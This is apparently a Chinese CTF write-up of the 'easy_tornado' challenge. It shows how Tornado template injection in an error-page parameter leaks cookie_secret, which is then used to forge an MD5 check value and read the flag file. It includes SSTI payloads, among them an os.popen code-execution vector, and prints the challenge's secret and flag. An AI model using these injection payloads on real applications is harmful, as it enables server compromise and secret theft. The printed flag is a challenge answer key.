一、题目概述
题目地址:https://buuoj.cn/challenges#[护网杯 2018]easy_tornado
本题是一道经典 Tornado 框架 + 模板注入(SSTI)+ Cookie 签名逻辑 的综合题,考察点包括:
- Tornado 框架中
cookie_secret的作用 - Tornado 模板语法与 SSTI 漏洞
- 利用 SSTI 读取服务端配置
- 构造签名逻辑绕过校验,读取敏感文件
二、页面分析
访问题目页面后,可以看到多个 .txt 文件链接,依次点击后发现页面中给出了如下提示:
md5(cookie_secret + md5(filename))
/fllllllllllllag


这说明:
- 服务端通过 文件名 + cookie_secret 计算 MD5
- 只有校验通过,才能读取对应文件
很明显,这里存在一个 基于 Tornado Cookie 机制的完整性校验。
三、cookie_secret 是什么?
在 Tornado 框架中,cookie_secret 是一个非常关键的安全配置,其作用主要包括:
3.1 签名与加密
当使用 set_secure_cookie() 时,Tornado 会将:
- Cookie 值
- 时间戳
- HMAC 签名
一起进行编码,而这个签名的核心密钥就是 cookie_secret。
3.2 完整性校验
服务端在 get_secure_cookie() 时,会使用同一个 cookie_secret 校验签名:
- 签名不匹配 → 返回
None - 防止客户端篡改 Cookie 内容
3.3 安全性说明
- Cookie 内容 对用户是可见的
- 但 不能被随意修改
- 安全性完全依赖于
cookie_secret
结论:只要拿到 cookie_secret,就能伪造合法校验值。
四、尝试常规思路:失败
一开始的思路是:
- 抓包
- 看是否存在可利用的 Cookie
- 尝试暴力或逻辑绕过
但实际测试后发现:
页面中 并没有可用的 Cookie 信息
这说明,突破点不在客户端,而在 服务端配置泄露。
五、转向 Tornado 模板注入(SSTI)
结合题目名称 easy_tornado,很容易联想到 Tornado 模板注入漏洞(SSTI)。
5.1 什么是 Tornado SSTI
Tornado 使用 Python 风格模板语法,如果 用户输入被直接拼接进模板并渲染,就可能导致 SSTI。
5.2 危险代码示例
self.write("""
<div>{{%s}}</div>
""" % user_input)
如果 user_input 可控,就可以执行任意模板表达式。
5.3 常见攻击向量
基础测试
{{7*7}}
读取对象
{{handler.settings}}
执行代码
{{__import__('os').popen('whoami').read()}}
六、漏洞利用点定位
访问错误页面:
/error?msg={{1 * 7}}

尝试注入:
/error?msg={{handler.settings}}

成功回显 Tornado 配置信息,其中包括关键字段:
cookie_secret
至此,核心目标达成:成功获取 cookie_secret。
七、构造校验值
题目给出的校验逻辑为:
md5(cookie_secret + md5(filename))
目标文件:
/fllllllllllllag
7.1 Python 计算脚本
import hashlibprefix = "deeb6004-633a-4f22-a2f4-472ceb62e935"
filename = "/fllllllllllllag"# filename 先 MD5
first_md5 = hashlib.md5(filename.encode("utf-8")).hexdigest()# 再拼接 cookie_secret
final = hashlib.md5((prefix + first_md5).encode("utf-8")).hexdigest()print(final)
输出结果:

e148fd23e8f6f5e6bbd7a4ae149374a2
八、读取 Flag
将计算得到的 MD5 值作为参数提交,成功读取目标文件,得到 Flag:

flag{28e7236c-00c4-4672-8dd0-c3f5c99c1595}
九、总结
本题完整攻击链如下:
- 发现文件校验逻辑依赖
cookie_secret - 常规 Cookie 攻击失败
- 联想到 Tornado SSTI
- 通过
handler.settings泄露配置 - 获取
cookie_secret - 构造 MD5 校验值
- 成功读取 Flag
这是一道非常标准、非常值得复现的 Tornado SSTI 入门题,既有框架特性,也有真实开发中常见的安全误区。